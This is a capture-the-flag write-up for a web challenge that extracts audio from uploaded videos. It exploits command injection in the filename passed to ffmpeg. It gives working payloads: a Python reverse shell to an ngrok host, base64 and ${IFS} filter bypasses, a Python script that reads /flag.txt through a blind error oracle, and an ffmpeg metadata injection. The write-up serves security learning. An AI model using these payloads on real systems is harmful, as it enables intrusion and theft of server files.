## The Challenge The challenge is available [here](https://challenge-0723.intigriti.io). The site greets us with a form to upload a `.mp4` file. If we submit a video, the site sends back the audio component of our video in `.wav` format. ![](https://i.imgur.com/HtBE3o6.png) ![](https://i.imgur.com/t3jV2q5.png) The goal is to find a flag hidden on the web server. ## Recon Before we start trying to break the site, we should know as much as possible about what we're trying to break. The site sends us back a `.wav` file, so maybe we should check that out for exif data? ``` $ exiftool extracted_audio.wav ExifTool Version Number : 12.40 File Name : extracted_audio.wav Directory : . File Size : 722 KiB File Modification Date/Time : 2023:07:18 11:39:25+10:00 File Access Date/Time : 2023:07:18 18:36:38+10:00 File Inode Change Date/Time : 2023:07:18 11:39:30+10:00 File Permissions : -rwxrwxrwx File Type : WAV File Type Extension : wav MIME Type : audio/x-wav Encoding : MP3 Num Channels : 2 Sample Rate : 44100 Avg Bytes Per Sec : 24000 Bits Per Sample : 0 Number Of Samples : 1357738 Software : Lavf58.20.100 Duration : 0:00:31 ``` That `Software` header is interesting. If we are to believe it, our file was created using `Lavf58.20.100`. What is that? Putting it into google, the first result that comes up is actually the wikipedia page for `ffmpeg`: > FFmpeg also includes other tools: ... libavformat (Lavf), an audio/video container mux and demux library Muxing/Demuxing basically means joining/splitting signals apart-- like splitting apart the audio from a video file. It's interesting that our input is passed through `ffmpeg`, because it suggests that our input file might be passed as an argument on the command line. We should keep a look out for command injection. Other than that, it doesn't seem like there's any other hints as to what's running on the site. Nothing in the source code nor the ingoing/outgoing requests. ## What Makes a Video a Video? If the video upload is the entire site, then we're probably looking for some kind of file upload vulnerability. In our search, we'll need to answer one question: what makes a video file a video file? Wow, that's really philosophical. But really, if we're trying to upload something malicious to the server, we need to figure out what the server will let us upload. Is it the extension at the end of the filename? Is it some arbitrary series of bytes in the header? Some arbitrary filesize that needs to be met? We craft inputs to the server to answer this question. ### The Filename If we send a file without the `.mp4` at the end of the filename, it errors on us: ![](https://i.imgur.com/BnceGSM.png) Apparently we also need to keep our filename free of spaces? > What makes a video a video? > 1. A video filename must end with `.mp4` and be free of spaces. ### Command Injection? Before we fuzz the contents of our video file, let's check the filename for the command injection that we, from our recon, suspect might be here. If the server is indeed passing our file to `ffmpeg` on the command line, the command being run is probably something like ```bash ffmpeg -i <our file> -vn -acodec copy extracted_audio.wav ``` (From the first stackoverflow post I found for 'extracting audio from a video', available [here]([o](https://stackoverflow.com/questions/9913032/how-can-i-extract-audio-from-video-with-ffmpeg)).) We'll use `#` to comment out the necessary `.mp4` and everything else after our injection. We'll use `;` to inject our command: ```bash ffmpeg -i ;ls;#.mp4 -vn -acodec copy extracted_audio.wav ``` ![](https://i.imgur.com/IvzaxEe.png) ![](https://i.imgur.com/AO1ptJE.png) If the server is only producing errors when we put in non-existent linux commands, we've probably found command injection. ## The Challenge Well, if we have command injection in our filename, it probably doesn't matter what we have in our file contents-- let's try submitting an empty file with a command injection: ![](https://i.imgur.com/UgP2Eb8.png) Cool. However, no matter what we make the server do, we always get the same output back to us. This is because we're not modifying the `extracted_audio.wav` file that gets sent back. Every once in a while the output would change, presumably because someone uploaded a new file. ![](https://i.imgur.com/UgP2Eb8.png) ![](https://i.imgur.com/qJkvdNU.png) So, the challenge is that we need to perform a blind command injection without spaces, from a filename? If it's a filename, we also can't use forward slashes, because according to wikipedia: > In Unix-like file systems, the null character and the path separator / are prohibited. So we'll take a payload from [revshells.com](https://revshells.com), substitute space for `${IFS}`, hex encode the forward slashes, and then it should work, right? By testing, we can determine that `python3` is available on the server: ![](https://i.imgur.com/q8dronp.png) But, if we try to send a revshell payload that should theoretically work, like ```bash ;python3${IFS}-c${IFS}${IFS}$'s=__import__(\'socket\').socket();s.connect((\'0.tcp.au.ngrok.io\',18904));[__import__(\'os\').dup2(s.fileno(),0),__import__(\'os\').dup2(s.fileno(),1),__import__(\'os\').dup2(s.fileno(),2)];__import__(\'pty\').spawn(\'\x2fbin\x2fsh\')';#.mp4` ``` it fails: ![](https://i.imgur.com/mnuCFYg.png) If we attempt to submit other revshell payloads that should work, we get a similar result-- this time, by calling `eval` on a base64 encoded bash payload that we decode with command substitution: ![](https://i.imgur.com/GVvpauu.png) This leads us to one conclusion: We can't establish outgoing connections. ## SOLUTION 1: Error-Based Command Injection Well, if we can't establish a revshell, we'll just work with the server. Looking around, we can determine that the file `/flag.txt` must exist from the fact that attempting to access non-existent files causes an error (at this point, I just started base64 encoding every one of my commands so I don't have to worry about filters): ```bash cat /flag.txt ``` ![](https://i.imgur.com/5mAOtef.png) ```bash cat /nonexistentfileprobablyihopeso ``` ![](https://i.imgur.com/pWRctk3.png) In blind SQL injection, a common technique is using an error-based or time-based oracle to determine the character code of some character in the data. Why can't we do the same here? We can pipe our `cat /flag.txt` to `cut` to get a character. Then, we pipe again to `od` to determine the character code. From there, we use `test` or `if` to trigger some conditional behaviour based on the character code-- like dividing by 0 to deliberately cause an error. A payload for testing the first character might look like: ```bash test $(cat /flag.txt | cut -c 0 | tr -d "\n" | od -An -t dC) -gt <char code> && echo plswork || 1/0 ``` We can use our base64 encoded payload method from before to ignore the character restrictions and extend it using a binary search algorithm to determine each character in around 8 requests: *Note: I know the flag is 46 characters long because `od` returns 0 when the character is non-existent.* ```python import requests import base64 VICTIM_URL = 'https://challenge-0723.intigriti.io' UPLOAD_ENDPOINT = '/upload' FLAG_LENGTH = 46 # we assume the flag is ascii printable MAX_CHAR_CODE = 126 MIN_CHAR_CODE = 33 def greater_query_cmd(index, charCode): return fr'test $(cat /flag.txt | cut -c {index + 1} | tr -d "\n" | od -An -t dC) -gt {charCode} && echo plswork || 1/0' def lesser_query_cmd(index, charCode): return fr'test $(cat /flag.txt | cut -c {index + 1} | tr -d "\n" | od -An -t dC) -lt {charCode} && echo plswork || 1/0' def equal_query_cmd(index, charCode): return fr'test $(cat /flag.txt | cut -c {index + 1} | tr -d "\n" | od -An -t dC) -eq {charCode} && echo plswork || 1/0' def build_payload(cmd): cmd_base64 = base64.b64encode(cmd.encode('utf-8')) return r'abcd.mp4;eval${IFS}$(echo${IFS}' + cmd_base64.decode('utf-8') + r'|base64${IFS}-d);#${IFS}.mp4' def send_cmd(cmd): payload = build_payload(cmd) files = { 'video': ( payload, bytes(), 'video/mp4' ) } r = requests.post( VICTIM_URL + UPLOAD_ENDPOINT, files = files ) result = 'error' not in r.text return result def search_character(char_index): print('[SEARCH] beginning search for character at index', char_index) upper = MAX_CHAR_CODE lower = MIN_CHAR_CODE while (lower <= upper): middle = int((lower + upper) / 2) if (send_cmd(greater_query_cmd(char_index, middle))): print('[SEARCH] character is greater than', middle) lower = middle + 1 elif (send_cmd(lesser_query_cmd(char_index, middle))): print('[SEARCH] character is less than', middle) upper = middle - 1 else: return chr(middle) return None def main(): final_string = '' char_index = 0 while (char_index < FLAG_LENGTH): final_string += search_character(char_index) print('CURRENTLY KNOWN TEXT:', final_string) char_index += 1 if __name__ == '__main__': main() ``` Running this for around 10 minutes, we obtain the flag. (I could have parallelized it to go faster but why bother? :) ) ![](https://i.imgur.com/XyBFvls.png) The flag is `INITGRITI{c0mm4nd_1nj3c710n_4nd_0p3n55l_5h3ll}`. ## SOLUTION 2: Using FFMPEG to Write to `extracted_audio.wav` Sure, error-based command injection is cool. But isn't there some more elegant way of doing this challenge, without making so many requests? Isn't there some output that we have access to? Well, what about `extracted_audio.wav`? Typically, the `ffmpeg` command would generate it and then it would be sent to the user. What if we `cat` our flag but redirect it into `extracted_audio.wav`? We base64 encode `cat /flag.txt > extracted_audio.wav` and use our previous technique once again, but this fails: ![](https://i.imgur.com/ZJSK2Zg.png) Most likely, it fails because we're not writing to the correct `extracted_audio.wav`. Who knows what directory that file is in? This is a dead end. If we want to write to the correct `extracted_audio.wav`, there's actually a really simple way. Recall that originally, the command was likely something like: ```bash ffmpeg -i <our filename> -vn -acodec copy /somefolder/folder/extracted_audio.wav ``` What if our injection made ffmpeg write the flag into `extracted_audio.wav`? In fact, if we take a look at the ffmpeg documentation, we can see a super obvious candidate: the `-metadata` tag. ``` -metadata[:metadata_specifier] key=value (output,per-metadata) Set a metadata key/value pair. An optional metadata_specifier may be given to set metadata on streams, chapters or programs. See -map_metadata documentation for details. This option overrides metadata set with -map_metadata. It is also possible to delete metadata by using an empty value. For example, for setting the title in the output file: ffmpeg -i in.avi -metadata title="my title" out.flv To set the language of the first audio stream: ffmpeg -i INPUT -metadata:s:a:0 language=eng OUTPUT ``` We'll follow their example and try to set the title of `extracted_audio.wav` to the contents of `/flag.txt`. We'll send this filename: ```bash sample.mp4 -metadata title=$(cat /flag.txt).mp4 ``` To hopefully produce this executed command: ```bash ffmpeg -i sample.mp4 -metadata title=$(cat /flag.txt).mp4 -vn -acodec copy /somefolder/folder/extracted_audio.wav ``` In our actual payload, we'll base64 encode the `cat /flag.txt` part and replace any spaces with `${IFS}` to ensure we don't have to deal with the filter. This gives us a final payload of: ```bash sample-mp4-file-small.mp4${IFS}-metadata${IFS}title=$(eval${IFS}$(echo${IFS}Y2F0IC9mbGFnLnR4dA==|base64${IFS}-d)).mp4 ``` ![](https://i.imgur.com/srJv9Bm.png) The flag appears in the selected text. Much more elegant!